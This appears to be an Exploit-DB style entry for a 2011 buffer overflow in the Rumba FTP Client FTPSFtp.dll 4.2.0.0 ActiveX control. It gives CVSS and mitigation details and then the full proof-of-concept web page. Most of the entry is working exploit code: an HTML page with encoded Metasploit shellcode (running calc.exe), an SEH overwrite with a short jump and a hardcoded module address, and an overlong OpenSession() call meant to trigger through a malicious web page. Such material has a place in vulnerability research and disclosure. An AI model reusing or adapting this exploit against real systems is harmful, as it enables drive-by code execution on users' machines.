Rumba FTP Client FTPSFtp.dll v4.2.0.0 OpenSession() Buffer Overflow by sinn3r

vendor:

Rumba FTP Client

by:

sinn3r

9,3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Rumba FTP Client

Affected Version From: 4.2.0.0

Affected Version To: 4.2.0.0

Patch Exists: YES

Related CWE: N/A

CPE: a:netmanage:rumba_ftp_client

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2011

Rumba FTP Client FTPSFtp.dll v4.2.0.0 OpenSession() Buffer Overflow by sinn3r

A buffer overflow vulnerability exists in Rumba FTP Client FTPSFtp.dll v4.2.0.0 when the OpenSession() function is called with an overly long argument. This can be exploited to execute arbitrary code by tricking a user into visiting a malicious web page.

Mitigation:

Upgrade to the latest version of Rumba FTP Client.

Source

Exploit-DB raw data:

<html>
<head>
<title>Rumba FTP Client FTPSFtp.dll v4.2.0.0 OpenSession() Buffer Overflow by sinn3r</title>
</head>
<body>
<object classid="clsid:677A6F83-52A0-4931-8E62-EC713EE9B949" id="ftpsftp"></object>
<script language="JavaScript">
/*
Rumba FTP Client FTPSFtp.dll v4.2.0.0 OpenSession() Buffer Overflow
Vulnerable version download: http://download.cnet.com/Rumba-FTP/3000-2160_4-10587778.html
Found and coded by sinn3r
Greets: Corelan Security Team & Exploit-DB
http://twitter.com/_sinn3r
1) Script provided 'as is', without any warranty. Use for educational purposes only.
2) Do not use this code to do anything illegal, that's ridiculous!
3) You are not allowed to edit/modify this code. If you do, original author cannot be
   held responsible for any damages this may cause.
*/

// http://www.metasploit.com  windows/exec cmd=calc.exe 200 bytes
shellcode = "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIKLM8LI5PUPUPSPM"+
            "YZEVQN2BDLKPRVPLKQB4LLK0RR4LKSBWX4ONW1ZWVFQKO6QO0NLWL3QSLS26L7PIQ8ODM5QIWK"+
            "RZPPRQGLKQB4PLKPB7L5QXPLKQP2XK5IP44QZ5QXPPPLKQX4XLKQHGPUQN3KSGLQYLKP4LKUQ9"+
            "FFQKOVQO0NL9QXODM5QYWFXKPD5JT4C3MZXWK3MWTT5KRPXLKQHWTEQ8SCVLKTLPKLKQH5LEQN"+
            "3LKS4LKC1XPMY1TWTGT1KQKSQ0YPZ0QKOKP0XQOQJLKTRJKMVQMCZUQLMLEOIUPUPC0PPRHP1L"+
            "KROLGKON5OKZPNUORF6RHOVLUOMMMKOIE7LC6SLUZMPKKM0BU5UOKQWB32R2ORJ5PPSKOHUE35"+
            "12LSS6N3U2X3UUPDJA";

eaxAlign  = unescape(
"%58"+		//POP EAX
"%04%0B"	//ADD AL, 0x0B
);

// Original fuzzed size = 13332 bytes. This POC uses 5000 bytes.
var padding1	= unescape("%41");
while (padding1.length < 600)
	padding1 += unescape("%41");
var nseh	= unescape("%EB%06%42%42");	//Short JUMP
var seh		= unescape("%71%33%6E%74");	//0x746E3371  msls31.dll  <-- IE 6 addr
var padding2	= unescape("%41");
while (padding2.length < 4389-shellcode.length)
	padding2 += unescape("%41");

ftpsftp.OpenSession(padding1 + nseh + seh + eaxAlign + shellcode + padding2);
</script>
<pre>
|------------------------------------------------------------------|
|   Rumba FTP Client FTPSFtp.dll v4.2.0.0 OpenSession() Overflow   |
|                                                                  |
| by sinn3r - Corelan & Exploit-DB             twitter.com/_sinn3r |
|------------------------------------------------------------------|

This bug was found when I was verifying another bug for Exploit-DB. Please note that
the latest version of FTPSFtp.dll v4.2.3.0.0 is no longer vulnerable to this, and it
is (duh!) recommended to update your Rumba FTP to the latest version if possible.

[+] Vulnerable Component = FTPSFtp.dll
[+] Version              = 4.2.0.0
[+] Function:            = OpenSession ( ByVal __MIDL_0011 As String ) As Object
[+] progid               = FTPSFTPLib.SFtpApplication
[+] Tested on            = Windows XP SP3 ENG + IE 6
[+] Payload              = windows/exec cmd=calc.exe
[+] Special thanks       = rAWjAW and chap0 for testing
</pre>
</body>
</html>